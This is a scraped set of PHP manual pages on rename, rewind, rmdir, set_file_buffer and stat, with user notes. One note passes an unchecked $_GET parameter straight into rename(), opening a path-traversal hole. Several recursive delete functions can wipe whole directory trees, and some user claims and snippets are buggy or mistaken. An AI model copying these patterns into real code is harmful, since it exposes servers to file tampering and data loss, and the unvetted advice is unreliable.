This is an update to the code provided by dev at islam-soft dot com, which renames all files in a directory with a given extension to have a different extension.

I updated four things: Most important, added a check to make sure the extension matched ONLY the end of the filename (the original caused me a number of headaches when it started matching things in the middle of filenames instead of at the end where a proper extension belongs), 2nd added some feedback about what is going on, if you choose verbose mode=TRUE, 3rd added the "testing" parameter so you can do a test run before committing for real, 4th added an error message if a rename fails.

parameter 1 :  the directory name
parameter 2 :  the first extension which we want to replace
parameter 3 :  the new extension of files
parameter 4 :  verbose? (true/false)
parameter 5 :  testing? (true/false)--if true, won't actually rename anything; if you do verbose=TRUE and testing=TRUE you can see what will happen before committing to it with testing=FALSE.

Return is the number of files renamed.

for a simple usage call the function :
changeext('my/directory', 'html', 'php',  false, false);

This changes every file name with extension html  into php  in the directory  my/directory

<?PHP

//changes files in $directory with extension $ext1 to have extension $ext2
//note that if file.ext2 already exists it will simply be over-written
function changeext($directory, $ext1, $ext2, $verbose = false, $testing=true) {
  if ($verbose && $testing) { echo "Testing only . . . <br />";}
  $num = 0;
  if($curdir = opendir($directory)) {
   if ($verbose) echo "Opening $directory . . .<br />";
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1". '$' ,$file)) { # Look at only files with a pre-defined extension, '$' ensures the ext is only at they end of the filename

         //I think the next two lines are unnecessary but they
         //don't hurt anything so I'm leaving them
         $fileHand = fopen($srcfile, 'r');
         fclose($fileHand);

         if (!$testing) {
            $result=rename($srcfile, $dstfile );
            if (!$result) echo "ERROR renaming $srcfile -> $dstfile<br />";
         }

         if ($verbose) echo "$srcfile -> $dstfile<br />";
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose, $testing);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

$testing=true;
$verbose=true;

//example usages, first run with $testing set to false, then change $testing to true to do them for real:
//changeext('your/directory', 'php', 'html', $verbose,  $testing);
//changeext('your/directory', 'html', 'php',  $verbose, $testing);
garagod at gmail dot com 06-Oct-2008 10:36
When I'm using unlink() or rename() with a SSH2.SFTP wrapper, both functions always return FALSE (but without a warning) even on success.

Example:

$connection = ssh2_connect(SERVER_NAME, PORT);
ssh2_auth_password($connection, USERNAME, PASSWORD);
$sftp = ssh2_sftp($connection);

unlink("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . FILENAME); // returns FALSE on success and on failure

rename("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . OLD_FILENAME, "ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . NEW_FILENAME); // returns FALSE on success and on failure
Francois Hill 17-Sep-2008 09:26
In response to
treshugart at gmail dot com
(06-Feb-2008 02:09)

"Apparently rename() will fail on filenames that are too large and emit an E_WARNING."

This may not necessarily be php's rename's fault. (well ...)

On Windows systems for example you have a file name limit at 255 caracters. Since rename relies on the system's underlying layer, it will fail if that happens, leaving your directory and files 'in limbo' ... (I haven't looked into the details but I don't think rename incorporates a rollback strategy).
One could think of other reasons too (rights, etc.), I'm not sure how rename would react then.

Hence, as a general rule, when working on folders or sensible data where no rollback support is provided, it is a good idea to always work on a copy. (or make a backup)
Whooptydoo 07-Jul-2008 09:11
If by any chance you end up with something equivalent to this:

<?php
rename('/foo/bar','/foo/bar');
?>

It returns true. It's not documented.
chris at no_email_is_relevant dot com 23-Jun-2008 06:39
If you want a quick alternative to rename folders with php under Windows:

Open a dos command prompt and use the REN (rename) command of Windows.

$output = pclose(popen("start /B cmd /C REN C:\folder\to\rename newName 2>&1", "r"));

Remark: This command needs \ in the path name.
treshugart at gmail dot com 05-Feb-2008 05:09
This might be a similar problem to what happened to:

jmalinsky at gmail dot com
10-Dec-2005 08:41

Apparently rename() will fail on filenames that are too large and emit an E_WARNING.

I was using rename() 'batch-move' a bunch of images. These files were lost in translation; in other words: deleted. One file, however, was moved but the filename was truncated. Weird. Why one or two files while the rest were deleted. This was being attempted on a Windows box.

I hope this helps anyone. If anyone has an explanation please feel free to email me. But if you're one of those idiots who *thinks* they're better than everyone and you *think* you know everything, don't bother.
surfchen at gmail dot com 12-Dec-2007 06:52
It will not work if rename the dir on partitionA to the dir on partitionB.
Because if source and target on different partition,rename() will firstly call the copy().
jeppe at bundsgaard dot net 12-Jan-2007 01:50
Until recently you could end the dirname your wanted to rename to with a slash:

rename("mydir/my2nddir/","mydir/my3nddir/")

But now it doesn't work (php warns that it is unable to access mydir/my3nddir/).

So always leave out a final slash in your dirname:

rename("mydir/my2nddir","mydir/my3nddir")

The same goes for mkdir().
dev at islam-soft dot com 05-Jan-2007 04:52
- rename extension of files

changeext($directory, $ext1, $ext2, $verbose)

i wrote this function to rename the extention of some files in a folder and sub-folders inside it ..

parameter 1 :  the directory name
parameter 2 :  the first extention wich we want to replace
parameter 3 :  the new extention of files

for a simple usage call the function :
changeext('dir', 'html', 'php',  'false');

to change evry file name with extention html  into php  in the directory  dir

<?php

function changeext($directory, $ext1, $ext2, $verbose = false) {
  $num = 0;
  if($curdir = opendir($directory)) {
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1",$file)) { # Look at only files with a pre-defined extension
       $fileHand = fopen($srcfile, 'r');
       fclose($fileHand);
       rename($srcfile, $dstfile );
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

changeext('dir', 'html', 'php',  'false');

?>

to remove the extention of files , just leave the parameter $ext2 blank ''
Eric (Themepark.com) 03-Nov-2006 10:31
This was a fun one-- on Win XP, rename throws a "permission deined" if you try to rename across volumes.. i.e. rename("c:\windows\temp\x.txt", "g:\destination") will fail.
David Thole (root at thedarktrumpet.com) 22-Oct-2006 12:20
As of PHP 5.1.4 compiled on a mac, using rename with spaces one should just use the space.   Take for example:

rename("/tmp/somefile.tar", "/mnt/laptop storage/somefile.tar");

If you use the backslash, like if you were cd-ing to the directory, rename will fail.  Example:

rename("/tmp/somefile.tar", "/mnt/laptop\ storage/somefile.tar");

While not really a bug, it did confuse me for a little bit while working on a backup script.
PHP at Drarok dot com 08-Aug-2006 01:57
As described from the unlink() page:
You have to release any handles to the file before you can rename it (True on Windows, at least).
This will NOT work, you'll receive permission denied errors:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    rename( 'tempFile.txt', 'tempFile2.txt' ); // Permission Denied!
?>

Simply close the handle to fix this:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    fclose($fileHand);
    rename( 'tempFile.txt', 'tempFile2.txt' );
?>

This has me scratching my head for some time, as the handle was opened at the top of a marge function, and the rename was at the bottom.
kitty_zoso at NOSPAMyahoo dot com 01-Feb-2006 11:45
Beware of rename if you're interested in preserving the case of filenames.  I'm writing a backup application using the command line version of php 5 on Windows XP and wanted to detect when the case of a source dir entry changed so I could rename it on the backup drive.

For instance, \common\kathy has been renamed to \common\Kathy on the source drive, so I wanted to rename the target directory, so a restore operation will have the new name to use.  The rename function didn't return false, but didn't change the case of the entry!  As a workaround (ugh) I change it to "something else" then do the final rename: instead of

rename('kathy','Kathy');

I use

rename('kathy', '~kathy~');
rename('~kathy~', 'Kathy');
bobbfwed at comcast dot net 26-Jan-2006 12:30
I have programmed a really nice program that remotely lets you manage files as if you have direct access to them (http://sourceforge.net/projects/filemanage/). I have a bunch of really handy functions to do just about anything to files or directories. In it I just finished redevloping the directory move function to utilize PHP's rename() since it is way more efficient than a copy/delete process. It goes through (recursivly) and renames all the files to a new location instead of copying them. It recreates the directory structure in the new location. It also allows you to overwrite the existing files, or not.
Here is the function I made; it will likely need tweaking to work as a standalone script, since it relies of variables set by my program (eg: loc1 -- which dynamically changes in my program):

<?PHP
  // loc1 is the path on the computer to the base directory that may be moved
define('loc1', 'C:/Program Files/Apache Group/Apache/htdocs', true);

  // move a directory and all subdirectories and files (recursive)
  // void dirmv( str 'source directory', str 'destination directory' [, bool 'overwrite existing files' [, str 'location within the directory (for recurse)']] )
function dirmv($source, $dest, $overwrite = false, $funcloc = NULL){

  if(is_null($funcloc)){
    $dest .= '/' . strrev(substr(strrev($source), 0, strpos(strrev($source), '/')));
    $funcloc = '/';
  }

  if(!is_dir(loc1 . $dest . $funcloc))
    mkdir(loc1 . $dest . $funcloc); // make subdirectory before subdirectory is copied

  if($handle = opendir(loc1 . $source . $funcloc)){ // if the folder exploration is sucsessful, continue
    while(false !== ($file = readdir($handle))){ // as long as storing the next file to $file is successful, continue
      if($file != '.' && $file != '..'){
        $path  = $source . $funcloc . $file;
        $path2 = $dest . $funcloc . $file;

        if(is_file(loc1 . $path)){
          if(!is_file(loc1 . $path2)){
            if(!@rename(loc1 . $path, loc1 . $path2)){
              echo '<font color="red">File ('.$path.') could not be moved, likely a permissions problem.</font>';
            }
          } elseif($overwrite){
            if(!@unlink(loc1 . $path2)){
              echo 'Unable to overwrite file ("'.$path2.'"), likely to be a permissions problem.';
            } else
              if(!@rename(loc1 . $path, loc1 . $path2)){
                echo '<font color="red">File ('.$path.') could not be moved while overwritting, likely a permissions problem.</font>';
              }
          }
        } elseif(is_dir(loc1 . $path)){
          dirmv($source, $dest, $overwrite, $funcloc . $file . '/'); //recurse!
          rmdir(loc1 . $path);
        }
      }
    }
    closedir($handle);
  }
} // end of dirmv()
?>

This new function will be in 0.9.7 (the next release of File Manage) which should release sometime early February.
Hope this helps some people.
php at froghh dot de 19-Jan-2006 03:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com 04-Jan-2006 02:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl 18-Dec-2005 11:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
jmalinsky at gmail dot com 09-Dec-2005 01:41
On WinXP/PHP 5+, not only does rename()  not follow the *nix rename as noted below, but other things (do not) happen.  If you're trying to rename a directory, files within the directory will NOT be present in the renamed directory, though sub-directories WILL be present.  Ultra-strange.  And as noted, your 'old' directory will remain on the server totally intact, which can be very confusing.

To try and rename a folder on XP via PHP, I wound up using a workaround: first i used the copydirr() function posted by makarenkoa at ukrpost dot net on the "copy" page of the online manual to copy all folders and files within the original directory to the new one... and then to delete the original directory (and all files/folders beneath it), i used the delDir() function corrected by czambran at gmail dot com on the "rmdir" page of the online manual.  Why didn't I use unlink()?  Because, unlink does NOT work on Windows systems either (and even if it did work, its not recursive without extra coding).

So, all in all, rename() is pretty much a useless function if you are intending to rename a folder on an XP box.
tbrillon at gmail dot com 14-Sep-2005 01:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca 07-Sep-2005 03:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
      if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
      }
      return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com 11-Aug-2005 02:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
JRog 27-May-2005 11:44
To anyone wondering, rename($old, $new) returns FALSE if $new already exists.  My script called for overwriting the file if it existed so I did this:

if(file_exists($new)) { unlink($new); }
$ok = rename($old, $new);

This did not work as expected.  If $new actually existed then it worked fine.  That is the file found at path $new was deleted and replaced with the file found at path $old.  However, if $new did NOT exist then the result was the file at  path $old vanished into oblivion.  After debugging a bit, it seems that rename() was getting executed before the if-statement.  So rename() moved $old to $new, THEN the if-statement evaluated to true and deleted the file I just moved.  Anyway, this fixed it:

if(file_exists($new)) {
    unlink($new);
    $ok = rename($old, $new);
} else { $ok = rename($old, $new); }

Very strange ... I hope this helps somebody
sophie at sitadelle dot com 14-Nov-2003 08:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
blujay 08-Feb-2002 01:32
You can always chdir() to the parent directory of what you're renaming, and rename the directory or file directly.  For example:

$oldWD = getcwd();
chdir($dirWhereRenameeIs);
rename($oldFilename, $newFilename);
chdir($oldWD);
pearcec at commnav dot com 15-Jun-2001 01:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x   18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav         0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au 24-Nov-1999 11:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).
realpath
rewind
Filesystem Functions


Rewind the position of a file pointer

rename
rmdir
Filesystem Functions
PHP Manual

rewind

(PHP 4, PHP 5)

rewind — Rewind the position of a file pointer

Description

bool rewind ( resource $handle )

Sets the file position indicator for handle to the beginning of the file stream.

Note:

If you have opened the file in append ("a" or "a+") mode, any data you write to the file will always be appended, regardless of the file position.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rewind() overwriting example

<?php
$handle = fopen('output.txt', 'r+');

fwrite($handle, 'Really long sentence.');
rewind($handle);
fwrite($handle, 'Foo');
rewind($handle);

echo fread($handle, filesize('output.txt'));

fclose($handle);
?>

The above example will output something similar to:

Foolly long sentence.

See Also

  • fread() - Binary-safe file read
  • fseek() - Seeks on a file pointer
  • ftell() - Returns the current position of the file read/write pointer
  • fwrite() - Binary-safe file write

User Contributed Notes

MagicalTux at kinoko dot fr 26-Nov-2007 10:53
Note that rewind($fd) is exactly the same as fseek($fd, 0, SEEK_SET)

rewind() just moves the location inside the file to the beginning, nothing more. Check if your stream is "seekable" before planning to use fseek/rewind.
evan at ozhiker dot no_spam dot com 05-Aug-2004 08:56
As with fseek(), the rewind() function may not be used on file pointers returned by fopen() if they use the "http://" or "ftp://" formats.
rename
rmdir
Filesystem Functions


Removes directory

rewind
set_file_buffer
Filesystem Functions
PHP Manual

rmdir

(PHP 4, PHP 5)

rmdir — Removes directory

Description

bool rmdir ( string $dirname [, resource $context ] )

Attempts to remove the directory named by dirname. The directory must be empty, and the relevant permissions must permit this. A E_WARNING level error will be generated on failure.

Parameters

dirname

Path to the directory.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | As of PHP 5.0.0 rmdir() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rmdir().

Examples

Example #1 rmdir() example

<?php
if (!is_dir('examples')) {
    mkdir('examples');
}

rmdir('examples');
?>

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • is_dir() - Tells whether the filename is a directory
  • mkdir() - Makes directory
  • unlink() - Deletes a file

User Contributed Notes

Anonymous 23-Jan-2012 03:20
When the directory is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
thomas 21-Nov-2011 12:44
Function deleteAll given by O S on 18-Jun-2010 11:30 will fail at line

while ($contents = readdir($directoryHandle)) {...

if a folder named 0 (zero) is found during traversing the hierarchy
shane dot ray87 at gmail dot com 08-Aug-2011 01:50
This issue has been driving me nuts for hours.

I am running PHP on IIS, I had the wincache module installed, when running a recursive delete a certain folder would get "stuck" and throw permissions errors.  I was not able to delete them with PHP or in windows itself.  The only way to delete the folder was to wait 5 min and run the script again, or stop the IIS server and the folder would delete on its own.  Disabling the wincachce module resolved the issue.

Hope this helps.
samy dot see at gmail dot com 27-Jun-2011 03:38
if you get this problem Permission denied in windows testing your site maybe this will resolve the problem

<?php
if(file_exists($path.'/Thumbs.db')){
    unlink($path.'/Thumbs.db');
}
?>

and then

<?php rmdir($path); ?>
holger1 at NOSPAMzentralplan dot de 26-Jun-2010 02:00
Another simple way to recursively delete a directory that is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
O S 18-Jun-2010 03:30
This isn't my code, but just thought I would share, since it took me so long to find. This is a function to delete a folder, all sub-folders, and files in one clean move.

Just tell it what directory you want deleted, in relation to the page that this function is executed. Then set $empty = true if you want the folder just emptied, but not deleted. If you set $empty = false, or just simply leave it out, the given directory will be deleted, as well.

<?php
function deleteAll($directory, $empty = false) {
    if(substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif(!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);

        while ($contents = readdir($directoryHandle)) {
            if($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;

                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    unlink($path);
                }
            }
        }

        closedir($directoryHandle);

        if($empty == false) {
            if(!rmdir($directory)) {
                return false;
            }
        }

        return true;
    }
}
?>
info at top-info dot org 28-Apr-2010 04:15
The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree  was called and deleted all the files at my host!
So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling.
Luckily nothing is lost because I had the local copy...
steffen at wirsching-idstein dot de 16-Jan-2010 05:40
Say, you're working on Windows and continue to get a permission's error without a reason. Then it may be that a different Windows program is working on the folder (see earlier notes also). In the case that you can't find that program, the line

<?php closedir(opendir($dirname)); ?>

may solve the problem!
Make sure to write this before rmdir($dirname);.
omikrosys at gmail dot com 08-Oct-2009 09:52
Sometimes you would face situations in which rmdir($dirname) would give "permission denied" errors though you may have changed $dirname permissions. In such situations just change the permissions of the directory which contains $dirname and rmdir($dirname) would work like a charm.
Say you use rmdir('dirr'); then change the permissions of the folder that contains 'dirr'.
kevin at web-power dot co dot uk 02-Oct-2009 05:51
I had situation where the rmdir was returning warning message as within last loop it was already removed. So here is quick fix by adding is_dir to the DelTree routine below

<?php
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }

    if (is_dir($dir)) rmdir( $dir );

}
?>
bcairns at gmail dot com 02-Aug-2009 09:59
I wasn't having much luck with the recursive delete functions below, so I wrote my own:

<?php
// ensure $dir ends with a slash
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }
    rmdir( $dir );
}
?>

Simple.  Works.
asn at asn24 dot dk 06-Jul-2009 09:08
A patch to previous script to make sure rights for deletion is set:

<?php
//Delete folder function
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
    }
?>

[EDITOR NOTE: "Credits to erkethan at free dot fr." - thiago]
maurozadu at gmail dot com 16-Jun-2009 08:03
if you opened a dir with opendir() you must closedir() before try to execute rmdir() or you will get a "permision denied" error on windows systems.

Wrong:

<?php
$handle = opendir($dirpath);
//do whatever you need
rmdir($dirpath);
?>

Right:

<?php
$handle = opendir($dirpath);
//do whatever you need
closedir($handle)
rmdir($dirpath);
?>
TrashF at taistelumarsu dot org 08-Aug-2008 03:21
In case you're trying to rmdir() and you keep getting 'Permission denied' errors, make sure you don't have the directory still open after using opendir(). Especially when writing recursive functions for deleting directories, make sure you have closedir() BEFORE rmdir().
rn at clubfl dot com 18-Dec-2007 10:16
I've noticed that when using this command on a windows platform you may encounter a permissions error which may seem unwarranted. This commonly occurs if you are or were using a program to edit something in the to be deleted folder and either the item is still in the folder or the program that was accessing the file in that folder is still running(causing it to hold onto the folder).

SO... if you get a permissions error and there shouldn't be an issue with folder permissions check if there are files in there then check if there is a program running that is or was using a file that was in that folder and kill it.
rewind
set_file_buffer
Filesystem Functions


Alias of stream_set_write_buffer

rmdir
stat
Filesystem Functions
PHP Manual

set_file_buffer

(PHP 4, PHP 5)

set_file_buffer — Alias of stream_set_write_buffer()

Description

This function is an alias of: stream_set_write_buffer().

User Contributed Notes

There are no user contributed notes for this page.
rmdir
stat
Filesystem Functions


Gives information about a file

set_file_buffer
symlink
Filesystem Functions
PHP Manual

stat

(PHP 4, PHP 5)

stat — Gives information about a file

Description

array stat ( string $filename )

Gathers the statistics of the file named by filename. If filename is a symbolic link, statistics are from the file itself, not the symlink.

lstat() is identical to stat() except it would instead be based off the symlinks status.

Parameters

filename

Path to the file.

Return Values

stat() and fstat() result format
Numeric | Associative (since PHP 4.0.6) | Description
0 | dev | device number
1 | ino | inode number *
2 | mode | inode protection mode
3 | nlink | number of links
4 | uid | userid of owner *
5 | gid | groupid of owner *
6 | rdev | device type, if inode device
7 | size | size in bytes
8 | atime | time of last access (Unix timestamp)
9 | mtime | time of last modification (Unix timestamp)
10 | ctime | time of last inode change (Unix timestamp)
11 | blksize | blocksize of filesystem IO **
12 | blocks | number of 512-byte blocks allocated **
* On Windows this will always be 0.

** Only valid on systems supporting the st_blksize type - other systems (e.g. Windows) return -1.

In case of error, stat() returns FALSE.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Changelog

Version | Description
4.0.6 | In addition to returning these attributes in a numeric array, they can be accessed with associative indices, as noted next to each parameter

Examples

Example #1 stat() example

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/*
 * Print file access time, this is the same
 * as calling fileatime()
 */
echo 'Access time: ' . $stat['atime'];

/*
 * Print file modification time, this is the
 * same as calling filemtime()
 */
echo 'Modification time: ' . $stat['mtime'];

/* Print the device number */
echo 'Device number: ' . $stat['dev'];
?>

Example #2 Using stat() information together with touch()

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/* Did we failed to get stat information? */
if (!$stat) {
    echo 'stat() call failed...';
} else {
    /*
     * We want the access time to be 1 week
     * after the current access time.
     */
    $atime = $stat['atime'] + 604800;

    /* Touch the file */
    if (!touch('some_file.txt', time(), $atime)) {
        echo 'Failed to touch file...';
    } else {
        echo 'touch() returned success...';
    }
}
?>

Notes

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • lstat() - Gives information about a file or symbolic link
  • fstat() - Gets information about a file using an open file pointer
  • filemtime() - Gets file modification time
  • filegroup() - Gets file group

User Contributed Notes

digitalaudiorock at hotmail dot com 12-Dec-2008 08:23
Regarding the stat() on files larger than 2GB on 32 bit systems not working, note that the behavior appears to differ between Linux and Windows.  Under Windows there's so way to know whether or not this failed.

It's been my experience that under Linux, performing a stat() on files that are too large for the integer size generates a warning and returns false.  However under Windows it silently truncates the high order bits of the size resulting in an incorrect number.  The only way you'd ever know it failed is in the event that the truncation happened to leave the sign bit on resulting in a negative size.  That is, there is _no_ reliable way to know it failed.

This is true of filesize() as well.

Tom
webmaster at askapache dot com 26-Nov-2008 01:20
This is a souped up 'stat' function based on
many user-submitted code snippets and
@ http://www.askapache.com/security/chmod-stat.html

Give it a filename, and it returns an array like stat.

<?php

function alt_stat($file) {

 clearstatcache();
 $ss=@stat($file);
 if(!$ss) return false; //Couldnt stat file

 $ts=array(
  0140000=>'ssocket',
  0120000=>'llink',
  0100000=>'-file',
  0060000=>'bblock',
  0040000=>'ddir',
  0020000=>'cchar',
  0010000=>'pfifo'
 );

 $p=$ss['mode'];
 $t=decoct($ss['mode'] & 0170000); // File Encoding Bit

 $str =(array_key_exists(octdec($t),$ts))?$ts[octdec($t)]{0}:'u';
 $str.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-');
 $str.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
 $str.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-');
 $str.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
 $str.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-');
 $str.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));

 $s=array(
 'perms'=>array(
  'umask'=>sprintf("%04o",@umask()),
  'human'=>$str,
  'octal1'=>sprintf("%o", ($ss['mode'] & 000777)),
  'octal2'=>sprintf("0%o", 0777 & $p),
  'decimal'=>sprintf("%04o", $p),
  'fileperms'=>@fileperms($file),
  'mode1'=>$p,
  'mode2'=>$ss['mode']),

 'owner'=>array(
  'fileowner'=>$ss['uid'],
  'filegroup'=>$ss['gid'],
  'owner'=>
  (function_exists('posix_getpwuid'))?
  @posix_getpwuid($ss['uid']):'',
  'group'=>
  (function_exists('posix_getgrgid'))?
  @posix_getgrgid($ss['gid']):''
  ),

 'file'=>array(
  'filename'=>$file,
  'realpath'=>(@realpath($file) != $file) ? @realpath($file) : '',
  'dirname'=>@dirname($file),
  'basename'=>@basename($file)
  ),

 'filetype'=>array(
  'type'=>substr($ts[octdec($t)],1),
  'type_octal'=>sprintf("%07o", octdec($t)),
  'is_file'=>@is_file($file),
  'is_dir'=>@is_dir($file),
  'is_link'=>@is_link($file),
  'is_readable'=> @is_readable($file),
  'is_writable'=> @is_writable($file)
  ),

 'device'=>array(
  'device'=>$ss['dev'], //Device
  'device_number'=>$ss['rdev'], //Device number, if device.
  'inode'=>$ss['ino'], //File serial number
  'link_count'=>$ss['nlink'], //link count
  'link_to'=>($s['type']=='link') ? @readlink($file) : ''
  ),

 'size'=>array(
  'size'=>$ss['size'], //Size of file, in bytes.
  'blocks'=>$ss['blocks'], //Number 512-byte blocks allocated
  'block_size'=> $ss['blksize'] //Optimal block size for I/O.
  ),

 'time'=>array(
  'mtime'=>$ss['mtime'], //Time of last modification
  'atime'=>$ss['atime'], //Time of last access.
  'ctime'=>$ss['ctime'], //Time of last status change
  'accessed'=>@date('Y M D H:i:s',$ss['atime']),
  'modified'=>@date('Y M D H:i:s',$ss['mtime']),
  'created'=>@date('Y M D H:i:s',$ss['ctime'])
  ),
 );

 clearstatcache();
 return $s;
}

?>

|=---------[ Example Output ]

Array(
[perms] => Array
  (
  [umask] => 0022
  [human] => -rw-r--r--
  [octal1] => 644
  [octal2] => 0644
  [decimal] => 100644
  [fileperms] => 33188
  [mode1] => 33188
  [mode2] => 33188
  )

[filetype] => Array
  (
  [type] => file
  [type_octal] => 0100000
  [is_file] => 1
  [is_dir] =>
  [is_link] =>
  [is_readable] => 1
  [is_writable] => 1
  )

[owner] => Array
  (
  [fileowner] => 035483
  [filegroup] => 23472
  [owner_name] => askapache
  [group_name] => grp22558
